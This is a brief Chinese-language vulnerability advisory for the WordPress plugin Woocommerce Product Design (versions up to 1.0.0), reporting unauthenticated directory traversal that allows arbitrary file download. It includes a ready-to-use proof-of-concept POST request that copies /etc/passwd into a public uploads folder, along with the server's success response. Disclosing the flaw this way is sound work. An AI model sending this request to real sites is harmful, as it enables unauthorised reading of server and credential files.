Woocommerce Product Design <= 1.0.0 - 未认证的任意文件下载
WordPress 的 Woocommerce Product Design 插件在 1.0.0（含）及之前的所有版本中均存在目录遍历漏洞。这使得未认证的攻击者能够读取服务器上任意文件的内容，其中可能包含敏感信息。
POST /wp-admin/admin-ajax.php HTTP/2
Host: wp-dev.ddev.site
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
action=pc_added_uploaded_image&file[path]=/etc/passwd
{
"path": "/var/www/html/wp-content/uploads/wcpc/images/uploaded_images/passwd",
"message": "Image Uploaded Successfully",
"url": "https://wp-dev.ddev.site/wp-content/uploads/wcpc/images/uploaded_images/passwd",
"status": "success"
}